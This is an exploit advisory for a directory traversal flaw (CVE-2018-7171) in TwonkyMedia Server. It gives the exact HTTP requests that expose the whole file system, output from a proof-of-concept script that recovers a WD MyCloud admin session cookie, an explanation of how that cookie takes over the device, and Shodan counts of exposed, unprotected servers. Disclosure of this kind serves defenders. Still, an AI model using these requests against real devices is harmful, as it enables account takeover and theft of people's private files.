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1. About

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# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Directory Traversal
# Date: 2018-03-27
# Exploit Author: Sven Fassbender
# Contact: https://twitter.com/mezdanak
# Vendor Homepage: http://www.lynxtechnology.com/home
# Software Link: https://twonky.com/downloads/index.html
# Version: 7.0.11-8.5
# CVE : CVE-2018-7171
# Category: webapps

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2. Background information

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"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, 
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.

Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content 
between connected devices. Twonky Server is used worldwide and is available as a standalone server 
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.

Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your 
media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com

Previous similar vulnerabilities:
    https://packetstormsecurity.com/files/112227/PacketVideo-TwonkyServer-TwonkyMedia-Directory-Traversal.html
Fix:
    https://docs.twonky.com/display/TRN/Twonky+Server+7.0.x

Statistics:
    Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)
    Rarely protected by password (only around 2%).
    
Top Countries:
	1. United States
	2. Germany
	3. Korea
	4. Russian Federation
	5. France
	6. Italy
	7. Taiwan
	8. Poland
	9. Hungary
	10. United Kingdom

TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
    Thecus N2310
    Thecus N4560
    WDMyCloud, 
    MyCloudEX2Ultra, 
    WDMyCloudEX4, 
    WDMyCloudEX2100, 
    QNAP, 
    Zyxel NAS326,
    Zyxel NAS542,
    Zyxel NSA310, 
    Zyxel NSA310S,
    Zyxel NSA320,
    Zyxel NSA325-v2
    ...

Other devices:
    Belkin routers
    Zyxel EMG2926-Q10A
    ...

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3. Vulnerability description

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TwonkyMedia Server has a function which allows browsing parts of the file system, that are marked as shares by the user.
By setting the "contentdir" parameter to "/../" with the rpc call "set_all", an attacker can discover the filesystem outside of the user specified shares:
HTTP request:
	POST /rpc/set_all HTTP/1.1
	Host: 192.168.188.9:9000
	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
	Accept: */*
	Accept-Language: de,en-US;q=0.7,en;q=0.3
	Accept-Encoding: gzip, deflate
	Referer: http://192.168.188.9:9000/
	Content-Type: application/x-www-form-urlencoded
	X-Requested-With: XMLHttpRequest
	Content-Length: 228
	Connection: close

	contentdir=/../


Now one can discover the file system with requests like the following:
HTTP request:
	GET /rpc/dir?path=/ HTTP/1.1
	Host: 192.168.188.9:9000
	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
	Accept: */*
	Accept-Language: de,en-US;q=0.7,en;q=0.3
	Accept-Encoding: gzip, deflate
	Referer: http://192.168.188.9:9000/webconfig
	X-Requested-With: XMLHttpRequest
	Connection: close

	 
HTTP response:
	HTTP/1.1 200 OK
	Content-Type: text/html; charset=utf-8
	Content-Language: en
	Content-Length: 128
	Date: Sat, 03 Feb 2018 09:31:28 GMT
	Accept-Ranges: bytes
	Connection: close
	Expires: 0
	Pragma: no-cache
	Cache-Control: no-cache
	EXT:
	Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

	001D/
	002D/bin
	003D/boot
	004D/CacheVolume
	005D/DataVolume
	006D/dev
	007D/etc
	008D/home
	009D/lib
	010D/media
	011D/mnt
	012D/nfs
	013D/opt
	014D/proc
	015D/root
	016D/run
	017D/sbin
	018D/shares
	019D/srv
	020D/sys
	021D/system
	022D/tmp
	023D/usr
	024D/var

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4. Proof of Concept

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https://github.com/mechanico/sharingIsCaring/blob/master/twonky.py

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5. Attack Scenarios

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- TwonkyMedia Server path traversal vs. WD MyCloud

	Files with filename representing PHPSESSID admin cookie's were discovered in the /tmp/ directory of a WDMyCloud NAS device:

	$ python twonky.py 192.168.188.9 9000
	https://www.shodan.io/host/192.168.188.9
	*** Port 9000 opened ***
	Run Twonky browser on port 9000 [Y, N]? [Y]
	*** Get Serverdetails from Twonky ***
	Server Name: WDMyCloud
	Serverplatform: armel_gcc473_glibc215_64k
	Pictures shared: 0
	Videos shared: 0
	Twonky Version: 7.2.9-6
	Build date: 03/25/2015 (mm/dd/yyyy)
	*** 'contentbase' path set to '/'' ***
	path nr:
	------------------------------
	[...]
	022 Dir /tmp
	[...]
	------------------------------
	path nr: 022
	------------------------------
	[...]
	059 Fil sess_c61ufnntn31o2ovuj0ncf8fkp1
	[...]
	Valid WDMyCloud cookie discovered: {'PHPSESSID': 'c61ufnntn31o2ovuj0ncf8fkp1'}
	------------------------------
	path nr:

	This cookie can be used to access the WDMyCloud Rest-Api. (http://ip/api/2.1/rest/...)
	With this access an attacker can e.g., create/modify users, download all files accessible by the user, update Firmware, ...


- TwonkyMedia Server path traversal vs. privacy

	People may store sensitive information on their NAS devices.
	Such as:
		- Business information
		- Health records
		- Passwords
		- Credit Cards
		- Passports
		- Currcillum Vitaes
		- Invoices Business/Private
		- "Private" photos
		- Illegal material
		- ...


- DMCA protected information

	There maybe also DMCA protected information public available. 
	Such as:
		- Movies
		- Music

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6. Fix

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All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable. 
While writing this advisory 8.5 is the latest version available:
https://twonky.com/downloads/index.html

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